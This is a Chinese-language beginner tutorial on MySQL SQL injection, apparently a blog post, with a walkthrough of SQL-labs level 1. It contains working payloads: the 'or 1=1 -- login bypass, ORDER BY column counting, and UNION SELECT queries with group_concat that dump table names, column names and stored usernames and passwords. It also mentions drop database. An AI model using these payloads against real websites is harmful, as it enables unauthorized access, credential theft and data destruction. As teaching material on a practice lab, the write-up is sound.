sql注入基础/非常基础/从0到1/

目录

一、SQL注入中重要的数据库知识

information_schema

注释

简单操作

union联合查询:

二、SQL注入

SQL注入漏洞

GET/POST型SQL注入

最简单的SQL注入

SQL注入带来的威胁

SQL注入手法

SQL攻击流程

SQL-labs第一关


一、SQL注入中重要的数据库知识

show databases ——列出所有数据库名
information_schema(信息库)—— 保存其他数据库里所有信息(数据库名、表、字段的数据类型/访问权限)
mysql—— 存储用户名 密码 host
performance_schema——内存数据库 数据放在内存中直接操作的数据库
sys——可以查询谁使用了最多的资源基于IP或者是用户(监控)

information_schema

SCHEMATA——当前MySQL实例中所有数据库信息

COLUMNS——表中列信息(字段)

TABLES——表的信息(表名等)

注释

sql注入一般使用第一种

第一种:--空格 

第二种:#

简单操作

列出所有数据库:

show databases

查看某一个数据库里所有的表:

use databasename(数据库名)

show tables

或者

show tables from databasename

每个语句用;分号隔开

select特殊应用与函数:

select now() 获得时间

select database()查看当前选择的是那个库

select version()查看版本

select user()查看当前登陆数据库的用户

select @@datadir 查看数据路径

select @@basedir 查看mysql安装路径

select @@version_compile_os 查看mysql安装的系统

union联合查询:

select * from 数据表 union select 1,2(union查询的字段数要与前面查询的字段数相同)

通过报错判断前面查询的字段数(查询暴露了几个字段)

二、SQL注入

SQL注入漏洞

用户输入的数据被构造成恶意的SQL代码,web应用又未对动态构造的SQL语句的参数进行审查,则会带来不同程度的威胁

GET/POST型SQL注入

提交网页内容的时候,主要分为GET/POST方法,GET提交方法提交内容会显现在URL上,对URL连接进行构造,有可能获得数据库信息内容,GET型SQL注入相对来说比较简单,POST型则需要先抓包再构造

最简单的SQL注入

网页源码中出现

select * from test where xxxx='%s'

显然是需要用户输入密码登入

此时用户如果不输入密码且输入

1 'or 1=1 --  万能密码

则后端收到的语句为

select * from test where xxxx='1'or 1=1-- '

等效于 

select * from test

SQL注入带来的威胁

猜解后台数据库,盗取网站敏感信息

借助数据库的存储过程进行提权等操作

绕过验证,登陆网站后台

SQL注入手法

检索隐藏数据

获取敏感数据

修改应用逻辑

Union attack(联合攻击)有回显的可以使用union attack

盲注

删库:drop database 

SQL攻击流程

先判断注入点

然后判断网站所查询的字段数

union select 1,2,3... 用1,2,3...测试 

这一步也可以用order by 来确定

之后查询数据库名、用户、版本

union select database(),user(),version()

这里要与上面测试出来的字段数匹配,即字段数是几这里可以一次性查几个,如果多可以用1,2...进行占位,查询时测试一下前端输出与查询顺序如何匹配,并且与前端的数据类型相匹配

之后可以查询该数据库中的数据表名

union select table_name from information_schema.tables where table_schema='database()/或者直接写刚才查询出来的库名' (记得占位)

对于只回显一条或几条记录的网站可以使用limit n,1000 来查询每一条记录

也可以直接group_concat(字段名)来直接一步到位

接下来对于一些敏感名称的表进行查看

比如说找到一张表叫user

union select column_name from information_schema.columns where table_name='user'

这里如果这样查询则会返回所有数据库中名为user的表的字段,这并不是我们想要的

所以我们给它加上限制条件

union select column_name from information_schema.columns where table_name='user' and table_schema=database() 限制在该数据库中

之后就基本上注入成功想查的数据就查到啦

SQL-labs第一关

我看很多大佬最后第一关的结果就是把users表全部显示,咱也不知到为啥,按照上面的步骤,咱也来动手试一下!

第一步——确定注入点

sql注入基础/非常基础/从0到1/_第1张图片

 提示我们输入一个id字段,并且这道题是get方式提交的,可以直接在url里面写

那就先试一下id

sql注入基础/非常基础/从0到1/_第2张图片

接下来测试一下这个id是字符型还是整形 即加不加'

sql注入基础/非常基础/从0到1/_第3张图片 url会自动把空格翻译成%20 单引号翻译成%27

这里报错了,看报错好像多了一个' 尝试在后面加个注释

id=1' -- +

sql注入基础/非常基础/从0到1/_第4张图片 结果出来了

到这一步我们已经确定了是字符型并且可以在这个位置进行注入

第二步判断它这条语句返回的字段数

用order by 或者 union 

这里用order by

即 id=1' order by n -- +

sql注入基础/非常基础/从0到1/_第5张图片

这里从1开始测试到4的时候报错

说明这条语句返回了3个字段的值

第三步我们开始用union attract 来看看它的一些不显示的信息

我们先看一下它查询字段的位置与前端输出的位置是如何匹配的

id=-1' union select 1,2,3 -- +  

这里把id写成-1是因为这里只显示出一条记录,为了方便显示的记录就是我们想看的记录,把前面正常查询的记录都排除掉,即让 union 前面的语句查询不到记录

sql注入基础/非常基础/从0到1/_第6张图片

这时我们能看到输出对应的是查询出的第2和第3个字段

我们接下来查询一下现在是在那个数据库中、数据库的版本、用户(这道题里这一步其实没啥用,但是还是走流程查一下)

id=-1' union select 1,database(),version() -- + 

sql注入基础/非常基础/从0到1/_第7张图片

数据库名security 版本5.5.53 

把前面任意一个函数改为user()就可以查到用户,这里不演示了

接下来看一看这个数据库中拥有的数据表吧因为这里只能输出一条记录而表名数量不确定我们可以使用group_concat()函数

id=-1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() -- + 

sql注入基础/非常基础/从0到1/_第8张图片

看到如下表名,其中users看起来就楚楚可怜的,那让我们看一下它有那些字段,注意为了查询出来的字段都是该数据库中users表的数据,要加入限定条件

id=-1' union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() -- + 

sql注入基础/非常基础/从0到1/_第9张图片

直接查到 id username password

其实就是一开始让你输入id 然后显示username 和 password

其实到这里我没太看懂这次注入干了啥,一开始输入id也能看到这些信息,一顿操作最后还是为了看这些信息

现在让我们把这些信息都输出出来吧

id=-1' union select 1,2,group_concat(id ,username ,password) from users -- +

sql注入基础/非常基础/从0到1/_第10张图片

这样似乎就成功了

我们要不再看看其他表 

sql注入基础/非常基础/从0到1/_第11张图片

email直接就没数据

好吧那(一)就到这里 

你可能感兴趣的:(渗透测试,SQL注入,sql,数据库,mysql,安全)